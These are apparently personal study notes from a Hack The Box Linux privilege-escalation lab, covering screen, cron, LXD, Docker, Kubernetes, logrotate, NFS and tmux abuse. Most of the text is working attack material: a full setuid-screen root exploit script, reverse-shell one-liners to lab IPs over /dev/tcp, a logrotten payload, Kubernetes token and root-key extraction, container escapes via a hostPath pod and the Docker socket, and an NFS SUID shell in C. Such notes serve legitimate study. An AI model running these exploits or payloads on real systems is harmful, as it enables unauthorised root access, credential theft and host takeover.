---
title: "9. Service-Based Privesc (Cron, lxd, docker, k8 etc)"
date: 2025-01-27
draft: false
---

## Linux Service PrivEsc - Screen example
Many services can be leveraged for privesc. Popular example is `screen` (multiplexer) 
https://linux.die.net/man/1/screen
V4.5.0 due to lack of permissions check when opening a log file. 

Allows an attacker to truncate any file or create a file owned by root in any directory
```bash
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```

![](/img/Pasted image 20250126115323.png)

---

## Linux Service PrivEsc - Cron job abuse

We know what cronjobs are. `crontab` command can create a cron file, which will be run by cron daemon on schedule specified. 
Cron file will be created in `/var/spool/cron` for the specific user that created it. 
Cron order: `minutes, hours, days, months, weeks, commands` 
` 0 */12 * * * /home/admin/backup.sh ` -> backup.sh run every 12 hours. 

Root crontab is almost always only editable by root user or user with full sudo. It can still be abused. 
- Find world-writable script that runs as root triggered by cron
- Even if you cannot read crontab to know exact schedule you may be able to ascertain how often it runs
	- backup script create .tar.gz every 12hrs. 
	- In this case, append cmd onto end of script like a revshell oneliner and it will execute next time job is run. 
- Certain apps create cron files in `/etc/cron.d` and may be misconfigured to allow non-root to edit 

Looking around system for writeable files/directories: 
```shell-session
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```

If we see file like: `/dmz-backups/backup.sh`
may be interesting.
Looking at `/dmz-backups` dir, shows what appears to be files created every 3 minutes. Seems to be a major misconfiguration. 
```shell-session
-rw-r--r--  1 root root 3336 Aug 31 02:24 www-backup-2020831-02:24:01.tgz
-rw-r--r--  1 root root 3336 Aug 31 02:27 www-backup-2020831-02:27:01.tgz
```

Can confirm cron job runs with pspy - cmdline tool to view running processes without root privs. 
https://github.com/DominicBreuker/pspy
Use it to see commands run by other users, cronjobs etc. It works by scanning `procfs`  https://en.wikipedia.org/wiki/Procfs 

```shell-session
./pspy64 -pf -i 1000
```
`-pf` = print commands and file system events
`-i` = interval (scan every 1000ms) 

In output above we can see uid=0 executing the backup script
If editing a script, make sure to `ALWAYS` take a copy of the script and/or create a backup of it
Also, append commands to end of script so it will run properly. 
The rest of this is self explanatory. Start a listener and modify the script, wait for it to run. 

```bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

![](/img/Pasted image 20250126120724.png)
![](/img/Pasted image 20250126120840.png)
![](/img/Pasted image 20250126120843.png)
![](/img/Pasted image 20250126120432.png)

---
## Linux Service PrivEsc - Containers

Containers operate at **system level**, and virtual machines operate at the **hardware level**. 
- THUS: Containers share an operating system and isolate application processes from the rest of the system. 
- Classic virtualization (VMs) allows multiple operating systems to run simultaneously on a single system. 

Goal: Manage resources and security aspects as efficiently as possible. 
- EX: Facilitate monitoring to find errors in system that often have nothing to do with newly developed applications. 
- Another example would be isolation of processes that usually require root privs. Such apps could be a webapp or api that must be isolated from the rest of the host system to prevent escalation to database 

**Linux containers**
- (LXC) 
- OS level virtualization technique that allow multiple linux systems to run in isolation from each other on a single host by owning their own processes, but sharing host system kernel for them. 
- LXC popular due to ease of use, essential part of IT security. 
- Consume fewer resources than VM. Have a standard interface. 
- Platform with LXC can be organized across multiple clouds, providing portability and ensuring that applications running correctly on the dev's system will work on any other system. 
- Large apps can be started/stopped/envvars changed via linux container interface. 
- Ease of use is the most significant advantage compared to other classic virtualization techniques. 
- Due to enormous spread of LXC , an almost all-encompassing ecosystem, and innovative tools are primarily due to the Docker platform - which established linux containers. The entire setup - from creating container templates and deploying them, configuring OS / networking, deploying apps - remains the same. 

**Linux Daemon**
- (LXD) 
- Similar in some respects
- **designed to contain a complete operating system**
	- THUS: Not an application container but a system container. 
- Before we can use this service to escalate priv, we must be in either `lxc` or `lxd` group. see output of `id` 

From here on, there are now several ways to exploit lxc/lxd. We can create our own container and transfer it to the target system, or use an existing container. 
- Admins often use templates that have little to no security! Consequence: Already have tools we can use against the system ourselves. 


```shell-session
container-user@nix02:~$ cd ContainerImages
container-user@nix02:~$ ls

ubuntu-template.tar.xz
```
- Such templates often do not have passwords especially if they are uncomplicated test environments. 
- Focus on security would complicate the whole initiation - make it more difficult and slow it down considerably. 

**Importing container as an image**
```shell-session
container-user@nix02:~$ lxc image import ubuntu-template.tar.xz --alias ubuntutemp
container-user@nix02:~$ lxc image list

+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
|                ALIAS                | FINGERPRINT  | PUBLIC |               DESCRIPTION               | ARCHITECTURE |      TYPE       |   SIZE    |          UPLOAD DATE          |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
| ubuntu/18.04 (v1.1.2)               | 623c9f0bde47 | no    | Ubuntu bionic amd64 (20221024_11:49)     | x86_64       | CONTAINER       | 106.49MB  | Oct 24, 2022 at 12:00am (UTC) |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
```

After verifying import, initiate image and configure it by specifying `security.privileged` flag and root path for container. this flag disables all isolation features and allows us to act on host. 

```shell-session
container-user@nix02:~$ lxc init ubuntutemp privesc -c security.privileged=true
container-user@nix02:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

From here we can start the container and login to it. In the container we can then go to the path we specified to access resource of host system as root. 

```shell-session
container-user@nix02:~$ lxc start privesc
container-user@nix02:~$ lxc exec privesc /bin/bash
root@nix02:~# ls -l /mnt/root
```

![](/img/Pasted image 20250126122203.png)
![](/img/Pasted image 20250126122443.png)
![](/img/Pasted image 20250126122537.png)

---
**Service privesc - Docker**
Containers as isolated envs in userspace that run at the OS level and share file system + sys resources. 
- Advantage: Containerization thus consumes significantly less resources than a traditional server or virtual machine.
- Core feature of docker is that apps are encapsulated in Docker containers
- Usable on any OS. Docker container represents a lightweight standalone executable software package that contains everything needed to run an application code runtime. 

Architecture: 
Client-server model with two primary components: 
- Daemon
- Client

Client acts as our interface for issuing commands and interacting with the docker ecosystem, while docker daemon is responsible for executing those commands and managing containers. 

**Docker Daemon** 
- or 'server' 
- Management and orchestration
- "Powerhouse" behind docker. Several essential responsibilities: 
	- running Docker containers
	- Interacting with Docker containers
	- managing Docker containers on the host system 

	**Managing docker containers**
	 - Coordinates creation / execution / monitoring of docker containers maintaining their isolation from the host and other containers. 
	 - This isolation ensures containers operate independently - own FS, processes, and net interfaces. 
	 - Handles image management. Pulls images from registries like docker hub, or private repos and stores them locally. These images are the building blocks for creating containers. 
	 - Daemon also offers monitoring/logging capabilities - capturing container logs, and insight into container activities/errors/debugging
	**Network and Storage**
	- Facilitates container networking by creating virtual networks and managing network interfaces. Enabled containers to communicate with eachother and the outside world through network ports, IP addresses, and DNS resolution. Docker daemon also plays a critical role in storage management - because it handles docker volumes - used to persist data beyond lifespan of containers 
	- Manages volume creation, attachment, cleanup - allowing containers to share or store data independently of each other

**Docker Clients**

When we interact with Docker we issue commands through the Docker Client  - forwarded to Daemon (Through Restful API / Unix socket)
Ability to: Create, start, stop, manage, remove containers, search, and download Docker images. 
With these options, we can pull existing images to use as a base for our containers or build our custom images using Dockerfiles. 
We have the flexibility to push our images to remote repositories, collab between teams. 

Daemon on other hand, carries out requested actions 

Another client for Docker is `Docker Compose` - Tool taht simplifies orchestration of multiple docker containers as a single application. 
- Define app multi-container arch using a declarative YAML file 
- Specify services comprising our app - their dependencies and their configurations 
- Define container imgs, env vars, networking, vol bindings, other settings. 
Docker compose ensures all defined containers are launched/interconnected, creating a cohesive and scalable app stack

`Docker Desktop` is a user-friendly gui for windows/mac/linux for simplifying the management of containers and their components. 
Monitoring, etc. Also supports kubernetes. 

**Docker Images and Containers** 
`Docker Image`== blueprint/template for creating containers. Encapsulates everything needed to run an application 
- Code
- Dependencies
- Libraries
- Configs
- self-contained, read only package that ensures consistency and reproducibility across envs. 

Created using text file named `Dockerfile` - defines steps and instructions 

`Docker container` is an instance of a docker image. 
- Lightweight, isolated, and executable env that runs applications 
- Container are created from specific image
- Inherits all properties / configs defined of that image 
- Containers operate independently, within its own FS, processes, and network interfaces. 
- Isolation ensures that applications within containers remain separate frmo underlying host system and other containers

**Images** are **immutable and read only.**
**Containers** are **mutable and modifiable** during runtime. 
- We can interact with containers, execute commands in them, monitor their logs, and even make changes to their filesystem or env. 
- Modifications made to a container's FS are not persisted unless explicitly saved as a new image or stored in a persistent volume 

---
**Docker privilege escalation**
- Gain access to env with users who can manage docker containers. 
`Docker shared directories`
- Shared dirs (volume mounts) can bridge gap between host system and the container's filesystem. 
- Useful feature for persisting data / sharing code / facilitating collaboration between development environments and docker containers. 
- Can be mounted as RO or RW - If RO modifications made in container wont affect host system. 
- simple path here is to read ssh privatekey 

`Docker Sockets`
- special file allows us / other processes to communicate with the Docker daemon 
- via Unix socket or network socket depending on configuration of our Docker setup 
- acts as bridge facilitating communication between docker client and docker daemon 
- CLI -> Docker Client -> Docker Socket -> Docker Daemon 
- By exposing docker socket over network interface we can remotely manage docker hosts / issue commands / control containers / other resources. 
- Remote api access expands possibilities for distributed docker setups and remote management scenarios 
- Depending on config there are many ways where automated processes / tasks can be stored. These files contain very useful info to use to escape a docker container 
- such as: file named `docker.sock` 

Use `docker` binary to interact with the socket and enumerate what docker containers are already running. If not installed, we can [download it here](https://master.dockerproject.org/linux/x86_64/docker)and upload it to the docker container 
```shell-session
/tmp/docker -H unix:///app/docker.sock ps
CONTAINER ID     IMAGE         COMMAND                 CREATED       STATUS           PORTS     NAMES
3fe8a4782311     main_app      "/docker-entry.s..."    3 days ago    Up 12 minutes    443/tcp   app
<SNIP>

```

Can create our own docker container that maps host's root dir to the /hostsystem directory on the container. With this, full access to host system. Thus map these directories accordingly and use the main_app Docker image 
```shell-session
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
/tmp/docker -H unix:///app/docker.sock ps

CONTAINER ID     IMAGE         COMMAND                 CREATED           STATUS           PORTS     NAMES
7ae3bcc818af     main_app      "/docker-entry.s..."    12 seconds ago    Up 8 seconds     443/tcp   app
3fe8a4782311     main_app      "/docker-entry.s..."    3 days ago        Up 17 minutes    443/tcp   app
<SNIP>
```

Then, login to new privileged docker ontainer with ID `7ae3bcc818af` and navigate to `/hostsystem` 

```shell-session
/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash
```

normal privesc from there - grab private key, etc 

**Docker Group**
Gaining root privs via docker, we msut be logged in with user in `docker` group (see output of `id`) 
- allows use/control of Docker daemon

Alternatively, Docker may have SUID bit set or we are in sudoers file which permits us to run docker as root. 
Most hosts have direct internet connection because base images + containers must be downloaded. Howevermany hosts may be disconnected from internet at night/outside hours for security reasons. If these hosts are located in a network where a webserver has to pass through for example it can still be reached. 

To see what images exist/have access to: `docker image ls` 

**Docker socket**
Privesc scenario can also exist where docker socket is writeable. Usually located at `/var/run/docker.sock` 
Location can be different. If we act as a user, not in docker group or docker-user group, but Docker socket is writeable, we can use this to escalate privileges. 

```shell-session
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

root@ubuntu:~# ls -l
```

Example privesc: 
![](/img/Pasted image 20250127140921.png)
![](/img/Pasted image 20250127141019.png)

---
## Linux Service PrivEsc - Kubernetes, (K8)
dev'd by google
container orchestration system - functinos by running all apps in containers isolated from host system thru multiple layers of protection. 
Approach ensures apps are not affected by changes in host system like updates/sec patches. K8 architecture consists of master node / worker nodes each with specific roles. 

**pod** concept - hold one or more closely connected containers.
- each pod functions as separate VM on a node complete with own IP, hostname, other details 
- simplifies management of multiple containers by offering tools for Loadbalancing / service discovery / storage orchestration / selfhealing etc 
- RBAC features, Network policies, and security contexts

Differences between K8 and Docker

|**Function**|**Docker**|**Kubernetes**|
|---|---|---|
|`Primary`|Platform for containerizing Apps|An orchestration tool for managing containers|
|`Scaling`|Manual scaling with Docker swarm|Automatic scaling|
|`Networking`|Single network|Complex network with policies|
|`Storage`|Volumes|Wide range of storage options|

K8 architecture: 
- Control Plane (master node) - Controlling k8 cluster
- Worker nodes (SLAVES) where containerized applications are run 

**Nodes**
Master node hosts k8 CP, manages + coordinattes all activities in the cluster. Make sure desired state is **maintained**. 
`Minions` (worker nodes) execute actual applications and receive instructions from CP to ensure desired state is **achieved**. 

**Control plane**
The Control Plane serves as the management layer. It consists of several crucial components, including:

| **Service**             | **TCP Ports**  |
| ----------------------- | -------------- |
| `etcd`                  | `2379`, `2380` |
| `API server`            | `6443`         |
| `Scheduler`             | `10251`        |
| `Controller Manager`    | `10252`        |
| `Kubelet API`           | `10250`        |
| `Read-Only Kubelet API` | `10255`        |

**Minions**
In containerized env: serve as designated location for running applications. Important note, each node is managed + regulated by control plane which helps ensure all processes running within the containers operator smoothly+efficiently. 
`Scheduler` based on `API server` understands state of thecluster and schedules new pods on the nodes accordingly. After decision made which node a pod should run on, API server updates `etcd` 
API server is entry point for all admin commands, either from users via `kubectl` or from controllers. This server communicates with `etcd` to fetch/update cluster state. 

**K8 security measures**
- Cluster infra sec
- Cluster config sec
- Application sec
- Data sec
Each domain includes multiple layers and elements that must be secured + managed appropriately by devs and administrators. 

**Kubernetes API**
Core of architecture is its' API - main point for all internal/ext interactions. 
Designed to support declarative control
- allow users to define desired state for system
- enables k8 to take necessary steps to implement desired state 

`kube-apiserver` is responsible for hosting the API, which handles/verifies RESTful requests for modifying system state. These reqs typically involve CRUD operations and retrieving info related to various resources within system. API is crucial role in facilitating seamless comm and control within k8 cluster. 

API resource serves as endpoint that houses specific collection of API objs. These pertain to a particular category and include essential elements like Pods, Services, and Deployments, among others. 
Each unique resource comes equipped with a distinct set of operations that can be executed, including but not limited to:

|**Request**|**Description**|
|---|---|
|`GET`|Retrieves information about a resource or a list of resources.|
|`POST`|Creates a new resource.|
|`PUT`|Updates an existing resource.|
|`PATCH`|Applies partial updates to a resource.|
|`DELETE`|Removes a resource.|

**Authentication**
Support various methods of auth
- Client certs
- Bearer tokens
- Authenticating proxy
- HTTP basic auth 

Once auth, k8 enforces authorization decisions using RBAC 
Technique involves assigning specific roles to users/processes with corresponding perms. 
`Kubelet` can be configured to permit `anonymous access`. Default setting. Anon reqs are considered unauthenticated which implies any req made to a kubelet without valid client cert will be treated as anonymous. This can be problematic as any proc/user that can reach kubelet api can make reqs/receive responses, potentially exposing sensitive info 
```shell-session
curl https://10.129.10.11:6443 -k

{
	"kind": "Status",
	"apiVersion": "v1",
	"metadata": {},
	"status": "Failure",
	"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
	"reason": "Forbidden",
	"details": {},
	"code": 403
}
```

`System:anonymous` represents an unauthenticated user - meaning we haven't provided valid creds or are trying to access api server anonymously. In this case, we try accessing root path, which would grant significant control over k8 cluster if successful. Default - access to root is generally restricted to authorized users with admin priv. 403 = denied. 

`Kubelet` API - Extracting pods: 
```shell-session
curl https://10.129.10.11:10250/pods -k | jq .
```
Output: names, namespaces, creation time, imgs of pods, and last applied config. (Could contain confidential details regarding container imgs and their pull policies)
Understanding container images and their versions used in cluster can enable us to ID known vulns and exploit them for unauth access. 
**Namespace** information can provide insight to how pods/rseources arranged within cluster - use to target specific namespaces with known vulns. 
Metadata like `uid` and `resourceVersion` to perform recon + recognize potential targets for further attacks. 
Disclosing last applied config can potentially expose sensitive information like passwords,secrets,api tokens used during deployment. 

Listing pods: 
```shell-session
kubeletctl -i --server 10.129.10.11 pods
```
To interact with pods, important to know available commands. One approach particularly useful is utilizing `scan rce` cmd in `kubeletctl` - command used for management. 
`kubeletctl -i --server 10.10.10.10 scan rce` 
Possible to engage container interactively and gain insight of extent of priv within the container. 
`kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx`
Above output of `exec "id"` shows current user executing id inside container has root privs. With admin access within container we can potentially privesc. If we have root priv in a container we can mess with host system or other containers. 

**K8 privilege escalation**
To gain higher privs and access host system use `kubeletctl` to obtain k8 service account token and ca.crt (certificate) from server. 
Must provide:
- server's IP addr
- namespace
- target pod 
When we get this token and cert, we can elevate priv even more, and move horizontally throughout cluster 

**Kubelet API - Extracting Tokens**
```bash
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
```
**Kubelet API - Extracting certificates**
```bash
kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
```

With both token/cert - check access in k8 cluster. Commonly used for auditing and verification to guarantee users have correct level of access - however, we can use it for our purposes and inquire on our permissions 

```bash
export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
```

```shell-session
Resources										Non-Resource URLs	Resource Names	Verbs 
selfsubjectaccessreviews.authorization.k8s.io		[]					[]				[create]
selfsubjectrulesreviews.authorization.k8s.io		[]					[]				[create]
pods											[]					[]				[get create list]
...SNIP...
```

Besides selfsubject-resources we can `get/create/list` pods which are resources representing the running container in the cluster. 
From here on, create YAML file that we can use to create a new container and mount the entire root filesystem from host system into this container's `/root` dir. There on, access host system files and directories. 

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

Checking new pod and determine status:

```shell-session
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml

pod/privesc created

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods

NAME	READY	STATUS	RESTARTS	AGE
nginx	1/1		Running	0			23m
privesc	1/1		Running	0			12s
```

Example of extracting ssh key of root user: 

```shell-session
kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc
```

---

## Linux Service PrivEsc - Logrotate 

Every linux system produces large amounts of log files. To prevent HDD from overflowing, tool named `logrotate` exists to archive and dispose old logs. If no attention is paid to log files, they become larger/larger and eventually occupy all diskspace. 

`/var/log` typically where logs stored, info to determine where issues arise 
`logrotate` exists to rotate these, aptly named. gives `size` of log files, `age` and `action` to be taken when certain conditions are met. 

Function of rotation itself consists in renaming log files. Forexample, new log files can be created each new day, older ones renamed automatically. Another example : empty oldest log file, reducing storage

Tool typically started periodically via `cron` and controlled via config `/etc/logrotate.conf` 
In this file, contains global settings that determine the function of `logrotate` 

To force new rotation on same day, we can set date after individual log files in status file 
`/var/lib/logrotate.status` or use `-f/--force` 

`sudo cat /var/lib/logrotate.status` 
Find corresponding conf files in /etc/logrotate.d dir
`ls /etc/logrotate.d` 

`cat /etc/logrotate.d/dpkg` 
```shell-session
/var/log/dpkg.log {
        monthly
        rotate 12
        compress
        delaycompress
        missingok
        notifempty
        create 644 root root
}
```

**To exploit `logrotate` there are some requirements:**
- `write` perms on log files 
- logrotate must run as privileged user or root
- vulnerable versions: 
	- 3.8.6
	- 3.11.0
	- 3.15.0
	- 3.18.0 

There is a precreated exploit we can use for this if the reqs are met - Exploit is named `logrotten` 
https://github.com/whotwagner/logrotten
Download+compile it on similar kernel of target system and transfer it to target system. If we can compile code directly on target system that's better
 ```shell-session
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
```bash

generating a payload to be executed (basic bash-based revshell)
```shell-session
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
```bash

Before running exploit, determine which option `logrotate` uses in `logrotate.conf` 
```shell-session
grep "create\|compress" /etc/logrotate.conf | grep -v "#"

create
```bash

In this case, `create` . Therefore, use exploit adapted to this function. 

Start listener, give payload and wait for revshell 

```shell-session
./logrotten -p ./payload /tmp/tmp.log
```bash


**This one sucked both my balls and asshole from the back**
**Shell would only be sent back for a few seconds until it would close out. ** 
Thus, used oneline `chmod 4777 $(which bash)` to quickly change priv of bash to be able to `bash -p` from underpriv user and escalate priv. Also, this is a note to always try different payloads. Payload above didn't seem to actually send me back a bash shell. The one below worked.

```
┌──(root㉿kali)-[~kali/HTB/lin-priv/logrotten]
└─# cat payload     
#!/bin/bash
if [ `id -u` -eq 0 ]; then (bash -i >& /dev/tcp/10.10.15.241/31337 0>&1 &); fi
```bash
Running the exploit over and over until the reverse shell connects:
```
htb-student@ubuntu:~/backups$ echo 'deez' > access.log && ./logrotten -p 
./payload /home/htb-student/backups/access.log
Waiting for rotating /home/htb-student/backups/access.log...
Renamed /home/htb-student/backups with /home/htb-student/backups2 and created symlink 
to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
```bash

Catching the rev shell:
```
┌──(root㉿kali)-[/home/kali/HTB/lin-priv]
└─# nc -lnvp 31337
listening on [any] 31337 ...
connect to [10.10.15.241] from (UNKNOWN) [10.129.108.64] 56110
root@ubuntu:~# chmod 4777 $(which bash)
chmod 4777 $(which bash)
root@ubuntu:~# cat flag.txt
```bash

```
Using bash -p
htb-student@ubuntu:~/backups$ bash -p
bash-5.0# whoami
root
bash-5.0# ls
access.log  access.log.1  logrotten  logrotten.c  payload
bash-5.0# cat /root/flag.txt
```bash


## Linux Service PrivEsc - Miscellaneous

### Passive Traffic Capture
`tcpdump` installation - unpriv users can capture network traffic, including in some cases - creds passed in cleartext. 
https://github.com/DanMcInerney/net-creds
https://github.com/lgandx/PCredz

Above can be used to examine data passed overthewire

Can capture sensitive info, like cc numbers, snmp community strings, net-ntlmv2, smbv2, kerb hashes etc. 

Cleartext protocols like HTTP/FTP/POP/IMAP/telnet/SMTP may contain credentials that can be reused to escalate privs on the host. 

### Weak NFS privileges 

Network file system allow users to access shared files or directories over the network hosted on unix/linux systems. 
NFS uses TCP/UDP port 2049. Accessible mounts can be listed with `showmount -e` 
- lists nfs server's export list (access control list for filesystems) that NFS clients

NFS vol created, options set: 
- root_squash == if root user used to access nfs shares it will be changed to nfsnobody user - unprivileged. Any files created/uploaded by root will be owned by `nfsnobody` , preventing attacker from uploading binaries with suid bit set. 
- `no_root_squash` == remote users connecting to share as local root user will be able to create files on nfs server as root user. Allows for creation of malicious scripts/programs with suid bit set. 

```shell-session
htb@NIX02:~$ cat /etc/exports
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)
```bash

create suid bin that execs `/bin/sh` using local root user. mount the `/tmp` dir locally + copy root-owned bin over nfs server and set suid bit. 

1) create bin

```shell-session
htb@NIX02:~$ cat shell.c 

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
```bash

2) compile 

```shell-session
gcc shell.c -o shell
```bash

3) mount dir locally, copy it, and set perms 
```shell-session
root@Pwnbox:~$ sudo mount -t nfs 10.129.2.12:/tmp /mnt
root@Pwnbox:~$ cp shell /mnt
root@Pwnbox:~$ chmod u+s /mnt/shell
```bash

switching back to host low-priv session we can execute the binary and obtain a root shell 

```shell-session
htb@NIX02:/tmp$  ls -la
-rwsr-xr-x  1 root  root  16712 Sep  1 06:15 shell
htb@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id

uid=0(root
```bash

### Hijacking tmux sessions 

Multiplexers like screen and tmux = multiple terminal sessions accessed in single console session. 
While not working in tmux window we can detach from session while leaving it active 
If tmux process running as a priv user or root or setup with weak permissions, we hijack = privesc

create new shared session + modify ownership:
```shell-session
htb@NIX02:~$ tmux -S /shareds new -s debugsess
htb@NIX02:~$ chown root:devs /shareds
```bash

if we can compromise a user in `devs` group for example we can attach to this session and gain root 

```shell-session
ps aux | grep tmux

root      4806  0.0  0.1  29416  3204 ?        Ss   06:27   0:00 tmux -S /shareds new -s debugsess
```bash

```shell-session
ls -la /shareds 

srw-rw---- 1 root devs 0 Sep  1 06:27 /shareds
```bash

```shell-session
htb@NIX02:~$ id

uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)
```bash

```shell-session
tmux -S /shareds

id

uid=0(root) gid=0(root) groups=0(root)
```bash

